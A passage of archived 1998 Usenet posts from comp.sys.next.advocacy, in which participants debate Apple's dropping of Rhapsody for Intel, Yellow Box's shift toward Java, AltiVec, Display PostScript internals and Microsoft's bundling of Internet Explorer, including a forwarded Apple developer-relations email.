* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Infoworld on the Yellow Box's future
Date: Wed, 20 May 1998 01:04:01 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2005980104010001@dialin9111.slip.uci.edu>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com> <6jt4ie$vjg$1@crib.bevc.blacksburg.va.us> <nospampischke-1905982350420001@ts7-32t-16.idirect.com> <35626D26.B7616464@alum.mit.edu>
In article <35626D26.B7616464@alum.mit.edu>, Eric Hermanson
<eric@alum.mit.edu> wrote:
> I have no problem with Yellow Box continuing to be wrapped in Java, making the
> API's available. But I would hate to see Objective-C go away as a language in
> favor of Java. I think many developers will adopt Obj-C once they are exposed
> to it. There will be several corporate developers who will be "forced" into
> Java, but there may be many more independent developers who continue to use
> Obj-C and it's advanced language features (like categories and posing).
Better
> yet, let's see a version of WebScript that mimicks Java's advanced features,
> including true garbage collection.
Remember that this is Steve talking and Steve speaks of things differently
than what you or I should be concerned with.
'Think Different' reuse #36:
Steve since WWDC has been taking what Apple has been doing and repackaging
it for mass consumption. 'MacOS X is the future, Rhapsody is dead.'. Well,
from the POV of the press and people that don't pay close attention (most
people) that's sounds *really* good since those two groups tend to
associate name with value: Apple == struggling, MS == indestructable, Next
== failure, and so if Apple pushes Rhapsody (associated with Next), it
comes out as the 'struggling Apple trying to prop up the failed OS
product'. If Apple pushes MacOS, somehow it comes out as 'recovering Apple
returning to former glory with new MacOS.' Steve knows this and uses it.
We hate it since we associate name to technology, which clearly doesn't
matter anymore. This war is being fought on mindshare and marketing, not
technology (yet).
So YellowBox being folded into their Java strategy means that Apple will
likely later this year announce that they have the fastest Java available
anywhere and the best Java frameworks and APIs anywhere, allowing anything
from global defense systems to virtual prostate surgery simulators to be
written in Java in less than 5 minutes or your money back. And that Java
is the future for Apple. Sounds like a huge change in strategy, but it's
just shoving those names around in creative ways. Nothing is really
changing much at all.
Obj-C isn't going away, in fact it sounds like it too is changing to meet
what people want to hear. Repeat after me: '...what people want to hear...
Steve Jobs says what people want to hear.' He will deliver as well, but
he'll point to the most agressive Java environment on a robust PMT MacOS
with remote administration and all the trimmings and people will drool.
We'll see Rhapsody (or OpenStep) and YellowBox frameworks with Java
bindings and not see what the big deal is.
People will start to Think Different about all that MacOS, Java, Rhapsody
stuff that's been sitting here all along because it will all be renamed to
stuff that they recognize and belive to be important.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: AMP is dead!
Date: Wed, 20 May 1998 01:17:54 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2005980117540001@dialin9111.slip.uci.edu>
References: <01bd80f2$8c1f3ba0$04387880@test1> <6jpgi3$jkf@shelob.afs.com> <199805190436343437195@sdn-ts-001txhousp08.dialsprint.net> <see-below-1905982021310001@209.24.240.108>
In article <see-below-1905982021310001@209.24.240.108>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> And someone implied that the only reason they announced the iMac so far
> before release is because someone had found out about it and it was going
> to become public anyway (through rumor sites).
Possibly, but I don't think so. There's quite a buzz around the iMac and
it has done several things for Apple:
1) demonstrated a low-end strategy for education which makes purchasing
decisions around this time.
2) grabbed a good chunk of the USB run-up from Wintel. Only Apple is
willing to stake everything on USB demonstrating a solid belief in it's
usefulness. Apple is getting major support on the USB front. iMac is being
mentioned in many press releases for USB products.
3) redefined in part what a consumer PC should be at a time when the PC
industry can do little due to an overburdened channel and a slow buying
season approaching.
4) provided 'buzz' numbers for WWDC. Steve will announce how many iMacs
have been pre-ordered to demonstrate how Apple is winning back consumers.
I suspect that Apple is bidding heavy for education contracts with this
thing to further run up the numbers.
-Bob Cassidy
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: Tue, 19 May 1998 21:36:42 -0700
Message-ID: <see-below-1905982136420001@209.24.240.108>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <355CC6E3.F30A0812@nstar.net> <6jij29$dq6$5@news.seicom.net> <Et0nDE.Ixo@abulafia.in-berlin.de> <6jivae$1ju$1@camel19.mindspring.com> <6jn6tv$138a1@odie.mcleod.net> <6jq71q$e4$1@amdint.amd.com>
In article <6jq71q$e4$1@amdint.amd.com>, raketenschelm@hotmail.com wrote:
> Please, look around: There's the big company out there, that badly tries to
> improve
> an unsuited, underdeveloped mainstream operating system with multi user
> support
> and display redirection (code named Hydra) and what does Apple do?
> It takes an existing, well designed, working system and cripple it to be what
> WindowsNT 4.0 is.
> Congratulations, if that's how Apple thinks different, I'm afraid that
> businesses won't
> consider Apple a serious alternative.
> Reducing administration costs is a big requirement and NT sucks with regard
> to
> administration. I'm looking forward to test Hydra hoping it saves me time.
> Without NX/NSHosting and a MacOS-X running on X86 hardware, how do you
> want to make me interested in the "New Technology" from Apple?
I agree. It appears Apple has _no_ plans for the business desktop
whatsoever, instead focusing 100% on the consumer market. I think this is
wrong, because despite past resistance to buying Macs (and OpenStep), I
think Rhapsody will have a lot of things (and NXHosting _would_ have been
one of the big ones...) that corporations would very much like to have.
And, despite that huge "untapped" consumer market of non-computer users,
the simple fact is the business world spends tons and tons on computers.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: Tue, 19 May 1998 22:23:15 -0700
Message-ID: <see-below-1905982223150001@209.24.240.108>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <6jsfi4$uhv$1@crib.bevc.blacksburg.va.us> <6jsobd$rhn@newsb.netnews.att.com> <see-below-1905982055450001@209.24.240.108> <35624625.57CFB9B7@milestonerdl.com>
In article <35624625.57CFB9B7@milestonerdl.com>, m rassbach
<mark@milestonerdl.com> wrote:
> Matthew Vaughan wrote:
>
> > In article <6jsobd$rhn@newsb.netnews.att.com>,
> > gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> >
> > > Nathan Urban <nurban@vt.edu> wrote:
> > >
> > > >Yellow/Windows suffers from intrinsic problems with NT, and doesn't give
> > > >a taste of the real Mac OS for those interesting in transitioning from
> > > >Windows to Macs.
> > >
> > > I'm not sure what the first part of the above sentence means, but
> > > if the Yellow-Box-on-Windows-applications have problems other than
> > > those shared by all Windows applications, then the
> > > Yellow-Box-cross-platform strategy is dead.
> >
> > That's not at all what he was saying--the point is that running Yellow
> > applications on Windows is no different from running Windows applications
> > on Windows, since the end user is unlikely to even be aware of the
> > difference. The whole point is that they're still just running Windows,
> > and not learning anything at all about the superiority of Rhapsody.
> >
> > I don't see how Yellow Box for Windows does anything at all to spur people
> > to investigate Rhapsody, or demonstrates anything better than Windows.
>
> From a USER standpoint yes. The 'siren song' of Rhapsody is supposed to
be fast
> and effective program development. And, in theory, you CAN do that with
> OpenSTEP/YB under NT.
True, but this does nothing if you're trying to get those end users to
switch from Wintel to Macintosh. It slightly increases the chances they'll
have all the apps they need on the Mac side, but that's it.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: Wed, 20 May 1998 01:22:16 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2005980122180001@dialin9111.slip.uci.edu>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <6jsa2r$u82$1@crib.bevc.blacksburg.va.us> <6jsm6t$bjf$1@geraldo.cc.utexas.edu> <markeaton-1905982123290001@user-38ld608.dialup.mindspring.com> <see-below-1905982232150001@209.24.240.108>
In article <see-below-1905982232150001@209.24.240.108>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> In article
> <markeaton-1905982123290001@user-38ld608.dialup.mindspring.com>,
> markeaton@mindspring.canned-meat-filter.com (Mark Eaton) wrote:
> How does AltiVec reflect on the possible use of TriMedia? I obviously
> don't know their relative strengths/weaknesses, or whether they're even
> targeted at the same thing, but I'm thinking AltiVec looks a lot better
> right now.
Puts a bullet in it. I think Maynard addressed this in csppca by stating
that Trimedia would require a port of QT to Trimedia, but would require
far less work to support AltiVec. It's a good practical argument. And
coming from him, I take it as the definitive word on the issue.
> > Of course, a multi-processor machine with 2 or more AltiVec-G3s would be
> > quite nice ;-)
>
> Not that Apple would ever build such a machine, right? ;-) ;-) ;-)
Well, aside from the fact that AltiVec would likely be G4. You bet!
-Bob Cassidy
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Wed, 20 May 1998 05:13:56 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35626694.8A90990A@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <35623A1A.BAE1F3FA@milestonerdl.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 20 May 1998 05:18:44 GMT
m rassbach wrote:
[cut]
> When WAS the last time Apple has a white-paper?
White papers require committment, and committment in a fast-changing
industry requires partners and solid industry support (or the
expectation thereof). Apple works alone. It's oh-so-cool and Hollywood,
which pleases a certain crowd and guarantees G3s will sell for a few
years. Other than that, they're screwed because nobody likes them,
nobody knows them, nobody cares enough to bother.
Seriously, Jobs plays his silly Bruce Willis crap and the fans cheer and
meanwhile the rest of the world doesn't give a flying you-know-what. My
father is 50 years old and he couldn't care less about some stupid icon
from Programmer's Heaven. He likes his Mac, but for him it has nothing
to do with bread and circuses.
The hero worship has to stop and a Company has to emerge. I don't see it
happening, so basically, you're right on this, Mark.
> > PS. This post makes almost no sense. Please try to read between the
> > broken metaphors.
>
> It's ok....we're all friends here :-)
Thanks. I hope you'll forgive me, I've indulged a bit more in this post
as well.
MJP
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: Tue, 19 May 1998 22:32:15 -0700
Message-ID: <see-below-1905982232150001@209.24.240.108>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <6jsa2r$u82$1@crib.bevc.blacksburg.va.us> <6jsm6t$bjf$1@geraldo.cc.utexas.edu> <markeaton-1905982123290001@user-38ld608.dialup.mindspring.com>
In article
<markeaton-1905982123290001@user-38ld608.dialup.mindspring.com>,
markeaton@mindspring.canned-meat-filter.com (Mark Eaton) wrote:
> In article <6jsm6t$bjf$1@geraldo.cc.utexas.edu>,
> kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
>
> > Nathan Urban (nurban@crib.bevc.blacksburg.va.us) wrote:
> > : In article <6jrak9$936$1@geraldo.cc.utexas.edu>,
> kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
> >
> > : Apple has an MMX-equivalent in the works: Altivec. Probably inaccurate
> > : to say that it's an "MMX-equivalent", it's more like an "MMX-killer".
> > : Check out:
> >
> > Great! However, it's still not a separate processor. Can Altivec run a
> > DSPish program in separate memory at the same time the rest of the CPU
> > is executing?
>
> Actually (as someone who works on a multimedia architecture) I'd rather
> have SIMD on the CPU rather than in a DSP. DSPs *P*rocess data, and having
> to shuffle the data - potentially roundtrip - over a bus usually negates
> the performance win.
>
> AltiVec adds an extra execution unit so that the integer and fp pipelines
> don't block (unlike MMX).
How does AltiVec reflect on the possible use of TriMedia? I obviously
don't know their relative strengths/weaknesses, or whether they're even
targeted at the same thing, but I'm thinking AltiVec looks a lot better
right now.
> Of course, a multi-processor machine with 2 or more AltiVec-G3s would be
> quite nice ;-)
Not that Apple would ever build such a machine, right? ;-) ;-) ;-)
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Wed, 20 May 1998 01:30:59 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2005980131000001@dialin9111.slip.uci.edu>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <see-below-1905982149360001@209.24.240.108>
In article <see-below-1905982149360001@209.24.240.108>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> Not _everyone_ uses Microsoft Word, though clearly that's a dominant need
> on the corporate desktop. However, a decent "red box" to run Windows in
> could at least partially address this problem, much as the Blue Box
> partially addresses it on Rhapsody/PPC (though something like Carbon would
> never happen).
Apple did deliver a decent Red Box: 98 or NT itself.
By killing Rhap/Intel Apple gets out of the driver business (by using MS's
work), targets the larger crowd (people *not* willing to dump Win/NT),
delivers Win compatability (by never getting rid of it), and asks those
that want YB and UNIX what they are willing to spend to get it. If you are
willing to spend enough for YB and UNIX, Apple will throw in a free G3.
;-)
Not a great thing, I'll admit, but I can see a lot of practical reasoning
in it. The only reasons against it are pretty fuzzy and don't necessarily
result in sales. I think that Windows and MacOS X cross-compatability is
far more impressive than Rhap/PPC and Rhap/Intel. That *should* be easy.
Win/Mac OS shouldn't be.
-Bob Cassidy
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Tue, 19 May 1998 21:30:18 -0700
Organization: UC Irvine
Message-ID: <atlauren-1905982130180001@dialin33462.slip.uci.edu>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net>
_3;X4o1Yg^$]=Oc\u
>
>It must be nice to be Microsoft. Just change the .doc format a little every
>few years and keep reaping the billions from REQUIRED updates to remain
>current.
Very succinct. Have you considered sending this observation to the DOJ?
-Andrew
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: Wed, 20 May 1998 01:44:35 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2005980144360001@dialin9111.slip.uci.edu>
References: <6jtt5c$q8k$1@news.cmc.net>
In article <6jtt5c$q8k$1@news.cmc.net>, com.occam@leonvs wrote:
> >From: Jordan Dea-Mattson <jordan@apple.com>
> >Apple will be delivering Rhapsody 1.0 for PowerPC and PC Compatibles this
> >fall. This - not DR2 - will be the last Rhapsody for PC Compatibles.
>
> Note the choice of words here: "PC Compatibles".
>
> Is it possible that Steve and Jordan have chosen their words carefully
> so as to allow for the possibility of Mac OS X for IA-64 (i.e. Merced)?
>
> OK, maybe it's a stretch, or wishful thinking....
Maybe, but _everything_ Steve says is carefully chosen words, IMO.
The 'Building a Business Case' thread should be a call for *all*
Rhapsody/Intel supporters to action. And it shows that Apple is being
open. Jordan didn't need to post to a public listserve and incur the email
wrath of a relatively large community if they didn't mean it to some
degree.
At the same time, I don't really understand why so much work is being put
into drivers for Rhapsody/Intel 1.0 only to claim that drivers are too
much work for 2.0. Hell, most of the work is done. And it's been stated
that dual platform support should get a lot easier when Mach 3.0 is the
foundation.
Apple is clearly creating options for itself. We just need to show that
Rhapsody/Intel is a justifyable option. We might also be better off
picking a smaller, but more critical target like Merced. Would we rather
have first class Merced support the day Merced systems ships in exchange
for the end of Rhapsody x86? I think I would. Time to focus.
-Bob Cassidy
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy
Subject: fw:Building a business case....
Message-ID: <x0u81.355$1k5.325633@news.san.rr.com>
Date: Wed, 20 May 1998 05:39:41 GMT
NNTP-Posting-Date: Tue, 19 May 1998 22:39:41 PDT
Organization: TWC Road Runner, San Diego, CA
-----Original Message-----
From: Jordan Dea-Mattson <jordan@apple.com>
To: Rhapsody Discussion List <rhapsody@clio.lyris.net>
Cc: Ernie Prabhakar <ernest@apple.com>
Date: Tuesday, May 19, 1998 6:00 PM
Subject: Building a business case....
>Dear Alan -
>
>I would suggest that you work with others - to whom I have responded - to
>build a business case that shows a strong market for Rhapsody for Intel
>going forward.
>
>Our own market analysis doesn't show a business case that justifies that
>required investment.
>
>Once you have this business case, send it on to me and I will forward it
>to the appropriate people. Unfortunately, your email and the others that
>I have received don't have the level of detail and concretness that is
>needed to make the case you want to make.
>
>Yours,
>
>Jordan
>======
>Subject: Re: Migration off Rhapsody
>Date: 5/19/98 2:47 PM
>Received: 5/19/98 2:53 PM
>From: Alan A. Barhorst, alan@dalembert.me.ttu.edu>Reply-To: alan@osci.me.ttu.edu
>To: Jordan Dea-Mattson, jordan@apple.com
>
>
>Jordan, we really need Rhapsody on Intel processors too. Being cross
>platform at the development level does not allow me to have a network of
>Macs and Intel machines all tied together with netinfo and common
>workspace across all the machines. Being able to run Mac programs is
>great but that does not compare to the ability to have power of
>nextstep/openstep. I tried (bounced mail now) to write to Dr Tevanian,
>and I use to get through back when he was @NeXT.com, and plead for the
>Intel version of Rhapsody to move forward with only the Openstep API.
>Please tell Mr Jobs, the board, and everybody that we need you guys to
>continue with the truly crossplatform OS. People will buy Apple
>hardware, but we need to transition off of what we have already and we
>need to be able to keep the network running. I have been using next
>technology since very nearly the first days (sold my pickup, in Texas!,
>to buy black to finish my PhD), it does not make sense to throw away all
>that capability. Call it Rhapsody, but keep it going. How do the
>enterprise folks think about this. I am sure they loved loosing (HP,
>Black, Sun) and now Intel hardware. You guys are the only company that
>can provide a truly cross platform environment. You are good enough to
>sell Macs and sell software for other platforms. Please do not leave us
>stranded again. I have no grounds for arguing for migration to Apple, if
>we have to throw away all the mixed hardware we have. NextStep/Openstep
>ran on all these machines, why not now. Charge us more but don't throw
>it away.
>
>Please forward this to Mr. Jobs, Dr. Tevanian, and the board.
>
>
>Jordan J. Dea-Mattson
>World-Wide Developer Relations
>
>Apple Computer, Inc. 408-974-4601 (Phone)
>1 Infinite Loop, MS: 303-2EV jordan@apple.com
>Cupertino, CA 95014
>
>"Here's to the crazy ones. The misfits. The rebels. The troublemakers.
>The round pegs in the square holes. The ones who see things differently.
>The ones that change the world!"
>
>
>
>
From: mr_boxster@nospam_yahoo.com (MR_boxster)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Date: Wed, 20 May 98 05:33:16 GMT
Message-ID: <6jtq2u$g19$3@nntp2.ba.best.com>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <joe.ragosta-1905982053010001@elk125.dol.net> <6jtlb0$dc7$3@nntp2.ba.best.com> <6jtnbs$ed$1@crib.bevc.blacksburg.va.us>
>You seem to be rather confused about what YB is supposed to be for.
>It is not in any way related to Unix.
You're right. I am naive when it comes to YB. I thought it was another
"openstep" layer on an existing OS.
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Infoworld on the Yellow Box's future
Date: Tue, 19 May 1998 22:41:58 -0700
Organization: Digital Universe Corporation
Message-ID: <35626D26.B7616464@alum.mit.edu>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com> <6jt4ie$vjg$1@crib.bevc.blacksburg.va.us> <nospampischke-1905982350420001@ts7-32t-16.idirect.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 20 May 1998 05:42:37 GMT
David Pischke wrote:
> In article <6jt4ie$vjg$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
>
> > In what sense? I don't see a problem with offering Java APIs to Yellow.
>
> I was concerned about the comment that the Yellow box is "changing
> direction" and being "folded into" their Java strategy. Usually those
> kinds of words are warning signs that something is going to be drastically
> changed, or neutered somehow, if not dropped outright.
>
> Scott Anguish's reply makes it clear that Infoworld added their own spin
> on things, though. (Thank you for clarifying, and for your excellent WWDC
> reporting!)
With all due respect to Scott and his information gathering techniques, I don't
think one should just dismiss Steve Jobs saying "Yellow box is changing
direction and being folded into Java strategy". With Apple's recent boneheaded
decision to not develop Rhapsody for Intel past v1.0, I don't put anything past
them. It looks like the Apple people have more influence over the ex-NeXT
geniuses than I thought! Dropping Intel support would never have happened at
the "old" NeXT (even thought getting Intel support in the first place was a long
and winding road).
I have no problem with Yellow Box continuing to be wrapped in Java, making the
API's available. But I would hate to see Objective-C go away as a language in
favor of Java. I think many developers will adopt Obj-C once they are exposed
to it. There will be several corporate developers who will be "forced" into
Java, but there may be many more independent developers who continue to use
Obj-C and it's advanced language features (like categories and posing). Better
yet, let's see a version of WebScript that mimicks Java's advanced features,
including true garbage collection.
Eric
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: That's not GX, that's Bravo -an Open Letter to Ric Ford
Date: Wed, 20 May 1998 00:40:49 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6jtqgp$ghc1@odie.mcleod.net>
References: <6jrq5f$4rf$8@ns3.vrx.net> <B1872237-55321@206.165.43.112> <6js47n$h02$4@ns3.vrx.net> <rex-1905981844580001@192.168.0.3> <6jsivk$rs9$2@ns3.vrx.net>
Maury Markowitz wrote in message <6jsivk$rs9$2@ns3.vrx.net>...
> Sure, if you're using int coords. I guess you missed that part, the new
>engine is FP based like PS.
>
>Maury
>
Ironically, Apple's Display Postscript as shipped with Rhapsody and
Openstep, and NeXTstep uses Adobe's "compressed integer" fixed point math
internally. The external graphics model is certainly floating point, but
internal operations are converted to fixed point at some relatively high
level. Font design, binary Postscript streams, and even users paths are
effected by this fact.
Check out the "Display Postscript Language Reference Manual II" for
description of these issues. Look into creating a Type 3 font. Check the
online user path documentation for number formats. Remember that most
computers running Postscript are actually laser printers and they have no
hardware floating point. It is a great tribute to NeXT and Adobe that this
fact rarely impacts Display Postscript programmers. It is more than
possible to build an Openstep graphics application and never worry about
anything but floating point coordinates.
PS - Didn't you ever wonder why DPS limits window coordinate systems in
screen units to something like +-32000 points ? Floating point coordinate
systems have sub-point resolution in the tens of millions of units.
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 19 May 1998 22:22:32 -0700
Organization: UC Irvine
Message-ID: <atlauren-1905982222320001@dialin33464.slip.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net>
_3;X4o1Yg^$]=Oc\u
In article <6jtgif$vp6$7@ligarius.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
>>This is the whole point! MS turned parts of an application into a
>>vital OS component. All you basically get from this is the inability
>>to fully uninstall IE, and a less useful help system in Visual Studio
>>5 than you had in version 4.
>
>They've imbedded vital functionality into the operating system.
Bullshit. They've broken out the app's functions (like the HTML renderer,
which is used by Quicken) into software libraries which can be utilized by
software applications. This is far different than imbedding functionality
into the operating system.
Mind you, I happen to think that the dll-izing of IE is rather cool, the
advantages of code reuse and all that.
>Same as they
>did with the file system.
Referring to what, exactly?
>Or TCP/IP (remember when TCP/IP packages were Big
>Things?).
Different case entirely. There was extensive precendent for an operating
system vendor to include their own TCP/IP stack. Now that I think about
it, MS was the *last* major OS vendor to include their own IP stack. As
such, it was only a matter of time before the IP stack markets for
Netmanage, FTP Software, et. al. was preemted. (Corrections from the
crowd?)
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Date: 20 May 1998 01:55:07 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jtr7r$kf$1@crib.bevc.blacksburg.va.us>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <6jtlb0$dc7$3@nntp2.ba.best.com> <6jtnbs$ed$1@crib.bevc.blacksburg.va.us> <6jtq2u$g19$3@nntp2.ba.best.com>
In article <6jtq2u$g19$3@nntp2.ba.best.com>, mr_boxster@nospam_yahoo.com (MR_boxster) wrote:
> >You seem to be rather confused about what YB is supposed to be for.
> >It is not in any way related to Unix.
> You're right. I am naive when it comes to YB. I thought it was another
> "openstep" layer on an existing OS.
It is! But "OpenStep" does not mean Unix. OpenStep is a set of
cross-platform APIs that let you develop applications for different
operating systems using the same source code. An OpenStep application
will run under Rhapsody, MacOS X, or Windows (using Yellow Box). But
since the point of OpenStep is to be independent of operating system, it
doesn't have any Unix in it.
You may be confusing "OpenStep" (the cross-platform frameworks, also
known as "Yellow Box") with the operating system "OPENSTEP for Mach",
which is an OpenStep layer on top of a BSD Unix operating system.
You can also have OpenStep layers on top of non-Unix operating systems,
such as Windows.
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 19 May 1998 22:26:47 -0700
Organization: UC Irvine
Message-ID: <atlauren-1905982226470001@dialin33464.slip.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrlp4$krr$1@nargun.cc.uq.edu.au> <rmcassid-1905981449580001@dante.eng.uci.edu> <6jtgig$vp6$9@ligarius.ultra.net>
_3;X4o1Yg^$]=Oc\u
In article <6jtgig$vp6$9@ligarius.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
>>Or did MS
>>decide to sneak the HTML renderer into the kernal specifically so that it
>>couldn't be removed?
>
>It's not in the kernel. It's in a .DLL.
Ergo, IE4 is not "essential functionality imbedded [sic] into the
operating system." (See earlier post.)
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 20 May 1998 11:12:00 +0200
Organization: The Computer Society at Lund
Message-ID: <6ju6p0$upi$1@bartlet.df.lth.se>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <maury-1805981747350001@ts32-15.tor.istar.ca> <tbrown-1805982347260001@mv130.axom.com> <6jrnc2$4rf$3@ns3.vrx.net>
NNTP-Posting-User: cb
In article <6jrnc2$4rf$3@ns3.vrx.net>,
Maury Markowitz <maury@remove_this.istar.ca> wrote:
>In <tbrown-1805982347260001@mv130.axom.com> Ted Brown claimed:
>> It's a bit rude, but I'll share my inital reaction with you: MAKES
>> SENSE!!! Have you lost your FREAKIN' MIND!!!!
>
> No insult taken, but how else are they to offer the Finder to OS8 people?
Um, will the MacOS 8 Finder stop working just because you install
